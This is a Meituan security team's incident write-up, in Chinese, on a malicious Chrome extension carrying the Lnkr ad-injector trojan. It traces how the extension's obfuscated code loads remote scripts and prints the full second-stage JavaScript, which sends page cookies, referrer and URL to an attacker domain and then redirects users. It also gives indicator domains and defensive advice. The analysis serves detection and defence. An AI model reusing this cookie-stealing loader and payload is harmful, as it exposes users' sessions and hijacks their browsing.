隱藏在瀏覽器背後的“黑手”

美團SRC發表於2020-12-15

/文丨陶琦     

筆者具有多年資訊保安行業從業經驗,目前在美團致力於研發安全體系建設。


一、事件概述

2020年10月,美團安全運營平臺發現流量中存在惡意JavaScript請求,資訊保安部收到告警後立即開始應急處理,透過對網路環境、訪問日誌等進行排查,最終鎖定惡意請求由Chrome瀏覽器安裝惡意外掛引起,該惡意JavaScript檔案會竊取Cookie並強制使用者跳轉到惡意色情站點、推廣連結等,結合美團威脅情報大資料,發現該外掛與Lnkr Ad Injector木馬特徵吻合。


此類木馬傳播方式多樣,會透過瀏覽器外掛、Broken Link Hijacking等方式在頁面中植入惡意程式碼,不僅嚴重影響使用者正常訪問還會竊取使用者資料。經追蹤分析發現,多個國內大型網際網路站點(Alexa全球排名前600)被感染,影響上億網民的上網安全,建議各大平臺對自身系統第三方載入源以及內部終端裝置進行檢查,避免遭受此類木馬攻擊。


二、溯源過程

2.1  安全運營平臺發出異常告警

Chrome沙箱監測到惡意JavaScript檔案,發出異常告警:

隱藏在瀏覽器背後的“黑手”

透過告警資訊判斷基本的攻擊行為是:

  1.  使用者訪問正常頁面;

  2. 頁面載入外部JavaScript檔案(A):

    http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;

  3.  A載入第二個JavaScript檔案(B):

    http://countsource.cool/18ced489204f8ff908.js;

  4.  B包含惡意程式碼,向遠端域名傳送Cookie等敏感資訊。


2.2  分析攻擊路徑

根據告警中涉及的觸發頁面、相關網路環境資訊,排除流量劫持、XSS攻擊等情況,猜測可能的原因為瀏覽器外掛或惡意軟體導致。


透過沙箱對問題裝置上所有Chrome外掛進行分析,發現一個名為Vysor的Chrome外掛程式碼存在惡意行為,檢測結果如下:

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}


可以看到外掛程式碼建立了script標籤,然後將script標籤的src屬性設定為:

//s3.amazonaws.com/js-static/18ced489204f8ff908.js。


2.3  外掛惡意程式碼分析

為了進一步研究該組織木馬的特徵,我們對該惡意外掛的程式碼進行了人工分析。惡意外掛的程式碼量較大,結構混亂,包含大量干擾程式碼。


首先惡意程式碼預先設定了許多無明顯意義的字串,用於構造Payload。

隱藏在瀏覽器背後的“黑手”

這些字串透過下面方法的一系列轉換最終構造出建立script標籤的語句 document['createElement']('script'),doctype即為建立出來的script物件。

隱藏在瀏覽器背後的“黑手”

接下來為script物件的src屬性賦值,在addHandler方法中,cl這個引數由elem傳遞過來,其中包含src字串,透過cl[0].split('>').slice(2, 3)拿到關鍵字src,tag是上文的doctype變數也就是script物件,在構造src值這部分,可以看到在常量中有一串一部分很像是base64的字串:

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'


惡意程式碼利用該字串結合其他預設變數進行一系列轉換,最終形成base64後的載入地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

隱藏在瀏覽器背後的“黑手”

透過createLinkPseudo方法解base64,經過replace後形成惡意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js;

隱藏在瀏覽器背後的“黑手”

s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是載入下一層的惡意Javascript檔案(//countsource.cool/18ced489204f8ff908.js),程式碼如下:

(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;


//countsource.cool/18ced489204f8ff908.js檔案內容為:

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }

    function minAjax(config) {
        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();

    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };

        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }

                function e() {
                    o(),
                        parent.top.window.location.href = c
                }

                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }

                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }

        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();


該檔案是真正實現惡意行為的程式碼,這部分程式碼沒有經過混淆、加密,也沒有加入其他無意義的程式碼干擾分析,可以很清晰地看到其惡意行為:

  • 獲取當前頁面Cookie,ck引數;

  • 獲取當前頁面Referrer;

  • 獲取當前頁面Location;

  • 使用XMLHttpRequest將獲取到的資料傳送到:

    http://press.cdncontentdelivery.com/f/stats.php;

  • 利用onSuccessCallback方法進行跳轉。


至此實現了將Cookie傳送到遠端接收地址,後續透過onSuccessCallback返回內容完成跳轉,完整流程:

隱藏在瀏覽器背後的“黑手”


2.4  透過已發現的IoC深入排查

透過上述特徵,發現大量與Lnkr木馬相關的域名和外掛,部分並未出現在已知的威脅情報中,經進一步分析發現,移動終端裝置也有觸發惡意請求的情況。


除此之外我們也發現國內多個大型站點在自身引用資源上引入了Lnkr木馬,使用者如果訪問到這些站點,Cookie資訊會被直接傳送到遠端,存在極高的安全風險。針對站點自身存在惡意資源的這類情況,極有可能是攻擊者利用Broken Link Hijacking的攻擊手法,對過期域名進行搶注,站點在訪問原有資源時被劫持到惡意資源。


三、總結

3.1  惡意域名

以下列舉了此次檢測發現的惡意域名:

  1. mirextpro.com

  2. browfileext.com

  3. nextextlink.com

  4. lisegreen.biz

  5. makesure.biz

  6. clipsold.com

  7. comtakelink.xyz

  8. protesidenext.com

  9. promfflinkdev.com

  10. rayanplug.xyz

  11. countsource.cool

  12. blancfox.com

  13. skipush1.bbn.com.cn

  14. donewrork.org

  15. loungesrc.net

  16. higedev.cool

  17. s3.amazonaws.com/cashe-js/

  18. s3.amazonaws.com/js-cache/

  19. s3.amazonaws.com/jsfile/

  20. s3.amazonaws.com/cashe-js/

  21. cdngateway.net (接收Cookie域名)

  22. sslproviders.net (接收Cookie域名)

  23. cdncontentdelivery.com (接收Cookie域名)


3.2  惡意外掛

排查到包含Lnkr木馬特徵的惡意外掛:

隱藏在瀏覽器背後的“黑手”

部分惡意外掛截圖:

隱藏在瀏覽器背後的“黑手”

四、覆盤

Lnkr木馬所造成的危害有哪些?

Lnkr木馬的核心域名之一cdngateway.net在全球域名流量排名8900位,從流量來源角度,透過外部網站跳轉帶來的流量佔比總流量的65.48%,可見其攻擊範圍極廣,受其影響的應用、使用者數量也是非常龐大的。

隱藏在瀏覽器背後的“黑手”

隱藏在瀏覽器背後的“黑手”

此類木馬對外部使用者和內部員工訪問同時具有嚴重危害。


在外部使用者方面,如果企業沒有嚴格控制系統第三方資源載入,黑產利用Broken Link Hijacking的攻擊手法,致使業務系統載入資源時被劫持植入惡意程式碼,將嚴重影響使用者體驗、資訊保安和企業形象。


從內部員工角度,傳統殺軟、EDR等終端安全裝置並不能很好地識別出此類惡意外掛,攻擊者透過傳播惡意瀏覽器外掛控制員工瀏覽器載入遠端惡意資源,不僅僅可以用於廣告注入,相較於針對瀏覽器的其他攻擊方式,可以達到更穩定,觸發面更廣的敏感資訊竊取、內網探測等,在CSP歷史阻斷的惡意請求中,我們也發現除竊取Cookie資訊外,也存在惡意程式碼竊取頁面文字資訊的情況,這些文字資訊在企業內部平臺中,極有可能包含大量使用者,訂單等敏感資訊。


如何發現此類惡意木馬植入?

針對惡意瀏覽器外掛,在檢測方面對其程式碼做靜態分析成本比較大,觸發惡意請求的Payload都是透過大量編碼轉換、拼接、正則匹配等構造而成、且經過了很多沒有實際意義的方法,在動態分析方面,由於Chrome外掛程式碼會呼叫Chrome後臺API,在常規沙箱環境中可能會出現無法呼叫API而中途報錯退出。分析中還發現,很多惡意行為需要觸發特定事件才能進入到構造惡意Payload流程,如觸發chrome.tabs.onUpdated等。


對於瀏覽器外掛安全,可以透過以下方式進行檢測及防護:

  • 禁止安裝未在Chrome應用商店上線的外掛(公司內部開發的外掛除外);

  • 對外掛manfiest.json檔案進行輕量級的排查,manfiest.json檔案中申請許可權相對敏感,如Cookie、tabs、webRequest等等;

  • 利用內容安全策略(CSP)對應用頁面發起的請求進行攔截或監控,集合靜態與動態分析技術,判斷JavaScript檔案行為;

  • 利用瀏覽器沙箱與EDR,定期對瀏覽器外掛進行掃描;

  • 構建網路層的檢測能力,發現有惡意請求及時應急處理。

對於業務系統自身是否載入惡意資源方面:

  • 嚴格控制系統載入的第三方資源;

  • 透過內容安全策略(CSP)對頁面觸發的請求進行攔截或監控。


目前團隊正在努力打造語言虛擬機器—基礎服務—上層應用的縱深應用安全體系,急需對研發安全感興趣的同學加入!如果你正好有求職意向且滿足以下崗位要求,歡迎投遞簡歷至sunny.fang@meituan.com(郵件主題請註明:【研發安全專家-城市-美團SRC】)。

隱藏在瀏覽器背後的“黑手”

隱藏在瀏覽器背後的“黑手”

隱藏在瀏覽器背後的“黑手”


相關文章